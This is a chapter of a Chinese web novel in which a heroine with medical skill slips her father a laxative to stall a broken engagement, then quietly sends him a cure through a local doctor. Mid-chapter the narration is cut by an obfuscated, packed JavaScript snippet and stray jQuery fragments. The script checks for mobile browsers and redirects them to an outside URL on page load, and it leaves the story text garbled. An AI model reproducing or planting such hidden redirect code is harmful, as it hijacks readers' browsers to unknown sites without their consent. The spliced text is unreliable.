话说到一半,秦汉阳忽觉腹中一阵翻江倒海,顿时捂着肚子满脸菜色的改口道:“为父去去就回,你先在此候着。”
话落,他便夹紧屁股,连跑带走的直奔茅房而去。
秦思言见状,微微挑眉,望着秦汉阳滑稽的背影,心中暗道,吃了她特制的泻药,若不在茅房拉个天昏地暗,岂非枉费了她一片苦心?
料定秦汉阳回不来,秦思言施施然转身,朝屋外走了去。
便见外头流霞漫天,彩彻区明,夕阳的余晖给周遭的一切都染上了一层朦胧的淡金,晚风拂面,带来些微的凉意,也吹散了几分她心头的阴霾。
秦思言拢了拢衣袖,遥目望去,不远处的残雪垂枝梅树下,落梅提着个食盒正翘首以盼的注视着书房门口,见她出来,顿时喜上眉梢。
“姑娘,老爷找你什么事儿?他怎么匆匆忙忙跑了出来?”落梅迎上前,好奇的问道。
秦思言笑笑,“没什么大事,方才谁来过?”
说着,她便将目光扫向落梅手中提着的木制食盒。
“姑娘先答应我不生气,我才告诉你。”落梅噘着嘴,调皮的卖起了关子,同秦思言讨价还价。
秦思言却不做声,偌大的秦府,除了落梅外,会关心她的,也就只那个人了。
果然,紧接着就听落梅老实巴交道:“刚才云娘来过……姑娘要是……我这就把东西送还给她。”
落梅一边说,一边仔细观察秦思言的神色,可惜秦思言端的是面无表情,不喜不怒。
她拿不准秦思言心中所想,便只能如以往的许多次一般,闷闷不乐的准备物归原主。
然而,出人意料的是,她才迈开步子,秦思言却叫住了她。
“谁让你还回去了?看看都有些什么?”秦思言掀了掀唇,轻声道。
所谓云娘,原是秦思言生母身边的侍女暮云,秦思言母亲去世后,便是她与落梅伴在秦思言身边。
幼时,秦思言极为依赖她,甚至亲昵的称呼她云娘。
直到某天,秦汉阳强占了她。
年幼的秦思言接受不了她的云娘,变成了父亲的云姨娘。
狠狠地哭闹了一场后,再不愿见云娘,也不许落梅跟云娘往来……
“有云娘亲手炖的鲫鱼汤,她听说姑娘昨儿夜里醒了,特意炖了给你补身子用的。”
“还有姑娘从前最爱吃的梅花糕,上回你还嫌我做的不好,现在可算有口福了。”
“还有……”
乍听秦思言发话说不必她还回去,落梅还有些不敢置信,紧接着便欢喜的跟秦思言叽叽喳喳汇报了起来,一边说还一边垂涎欲滴的吞了吞口水。
从前三人相依为命,她也爱极了云娘的手艺,如今,她已经不记得上次吃云娘做的东西是什时候了,总之很久很久都没尝到了。
秦思言笑着看落梅一边说一边掰手指,忽而,她眼角余光瞥见回廊那边,柱子后面,似乎有一片白色衣袂若隐若现。
察觉秦思言在愣神,落梅也随之住了嘴,她顺着秦思言的目光望去,顿时便傻眼了。
收起满心欢喜,她掩耳盗铃的挡住秦思言的视线,嘟嘟囔囔转移话题道:“姑娘,咱们先回梨花院吧,这汤凉了就不好喝了。”
说着她就拉着秦思言要走,生怕秦思言领着她把东西退回去。
但看落梅这模样,秦思言就可以断定,柱子后面藏着的人,十有八九是云娘无疑。
原身幼时确实怨过云娘,但更多的其实是害怕。
她害怕云娘会成为第二个杨氏,生下孩儿,抢走她本来就几近没有的父爱。更害怕她全心依赖信任的云娘,有朝一日会丢下她,不要她了。
所以,赶在那一切发生之前,她自己先撇开了云娘,再不愿见云娘。
尽管后来她察觉云娘从不曾对不起她,云娘也是受害者,纵使要怨,她也不该去怨云娘。
可冷漠的面具戴久了,疏离多年,她不知道要怎么才能像幼时一样,毫无负担的扑到云娘怀里撒娇……
原身至死都没能破局,秦思言作为一个外来者,一时间也没有头绪。
况且,她终究不是原身,于她而言,就这样远远的观望着,不去接近,反而更为安全罢。
思及此,秦思言释怀的笑了笑,她轻轻应了一声,便与落梅相携着,朝梨花院走了去。
翌日。
临近正午的时候。
秦思言拿着工具正在锄草,梨花院有一块荒废的空地,她打算利用起来,或是种蔬果,或是种草药,怎么也比荒废在这划算。
正忙活的时候,忽听落梅冒冒失失从外头跑了进来。
“姑娘,姑娘,那李家少爷退婚来了,人就在会客厅,姑娘可要去看看?”落梅一边跑一边嚷,待来到秦思言跟前,已经累得直不起腰,只能弓着身子呼呼喘着粗气。
她原是去找云娘的,一来把食盒还回去,二来把秦思言教她做的枣泥山药糕装了一碟,想送给云娘尝尝鲜。
结果,她人还没到云馨阁,就撞见了迎面而来的云娘,紧接着就得知了这么一桩糟心事,云娘让她回来给秦思言报个信,让她有个心理准备。
秦思言手里活儿不停,嘴上也不过意兴阑珊道:“李家师出何名?父亲可是应下了?”
落梅摇摇头,神情古怪道:“听闻老爷吃坏了肚子,昨儿黄昏起,就没离开过茅房一丈之内,根本没法儿见客。”
秦思言勾了勾唇,暗道秦汉阳的身子骨儿,竟比她以为的还要更虚。
“可有请大夫来瞧?”
“请了的,昨儿就请了,听说药也吃了两回了,就是不见效。这不李家少爷与他母亲一早就来了,愣是等到这会儿还未见着老爷的面。”
秦思言微微眯起眼睛,按说主人家身体不适,无法见客,那纵然有天大的事,也当客随主便,改日再登门,这是人之常情。
可李铭华却生生从早上等到了现在都没有要走的意思,她是不是可以理解为李铭华要么压根不信秦汉阳真病到不能见客的地步,要么在他心里,秦汉阳只要还有一口气在,就该配合他,把事儿给办了?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15475272|169947||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
想到这里,秦思言突然计上心头。
她将锄草的工具搁置一旁,起身寻摸了块帕子擦了擦手,而后吩咐落梅道:“备些粥点,我寻思着,父亲既然腹泻不止,正该吃点东西补充体力才是。”
落梅虽不知秦思言葫芦里卖的什么药,却也乐得配合她。
爽朗的应了一声,就钻进了厨房。
秦思言打了水净过手,之后又取来一枚昨儿特制的止泻丸,接着便由落梅领着,直奔秦汉阳的所在。
彼时,他尚在茅房蹲着,隔着门,时不时会传来一两声虚弱的呻吟。
秦思言赶到的时候,恰逢济世堂的杜掌柜刚给秦汉阳诊完脉,他开出的药方子,与昨儿请的大夫开的大同小异,惹得秦汉阳哑着嗓子直骂庸医。
索性杜掌柜是个好脾气的,他也不跟秦汉阳争辩,既觉得他医术不精,他走就是了。
哪曾想,他正收拾东西,就迎面撞见一抹似曾相识的面孔,以至于,他竟失礼的盯着人家姑娘瞧了起来。
秦思言也没料到竟会在这里碰见杜掌柜,而且瞧他这表情,多半是认出自己了。
“有关我父亲的身体,大夫可否借一步说话?”秦思言轻声问道。
杜掌柜从善如流的应了一声。
待避开秦府中人,秦思言象征性的问了问秦汉阳的病情,之后便提点杜掌柜若在足三里,天枢,中脘等穴位施以针灸,可以达到缓解病情的效果。
杜掌柜顿时醍醐灌顶,随即腆着脸道:“说来不怕小姐笑话,老朽乍见到小姐,就觉得有些面善,却想不起来是在何时何地有缘见过。”
秦思言遂坦然道:“昨日在济世堂,小女曾斗胆喧宾夺主。”
“失敬,失敬,原来是小神医。”
杜掌柜恍然大悟,他拱手就要朝秦思言作揖。
秦思言赶忙制止了他,接着,她又把那止泻丸交给杜掌柜,“烦请针灸过后,给我父亲服下,只说是你珍藏的灵丹妙药,不必提我。”
“小姐分明医术超群,因何……”
杜掌柜有些纳闷儿,但看秦思言笑而不语,他又及时住了嘴。
有关秦思言落水失洁的事儿,这两日已经在都城传开了,他也略有耳闻。
还有来的路上,秦府的下人都在议论,说是李家退婚来了,苦于秦老爷突发急症,无法见客,一直等在会客厅。
秦家请他来,就是想治好秦老爷,好让他与李家把退亲的事儿落到实处。
李家少爷虽与秦大姑娘有婚约,可心悦的却是秦二姑娘,这一趟名为退亲,说是换亲也不为过。
……
杜掌柜看向秦思言的眼神突然带了几分感慨,他叹息一声,顺着秦思言之前的话道:“便依小姐所言。”
“多谢。”秦思言礼貌的福了福身。
杜掌柜又道:“昨日小姐救老朽于危难,老朽虽医术不及小姐,但日后若有用得上老朽的地方,小姐可着人到济世堂传话。”
说完,也不等秦思言应答,杜掌柜就转身朝茅房走了去。